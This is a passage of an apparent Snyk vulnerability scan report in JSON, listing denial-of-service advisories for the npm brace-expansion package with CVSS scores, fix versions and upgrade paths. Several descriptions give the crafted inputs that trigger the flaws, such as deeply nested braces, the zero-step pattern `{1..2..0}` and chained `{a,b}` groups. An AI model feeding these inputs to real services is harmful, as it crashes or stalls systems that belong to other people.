"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is 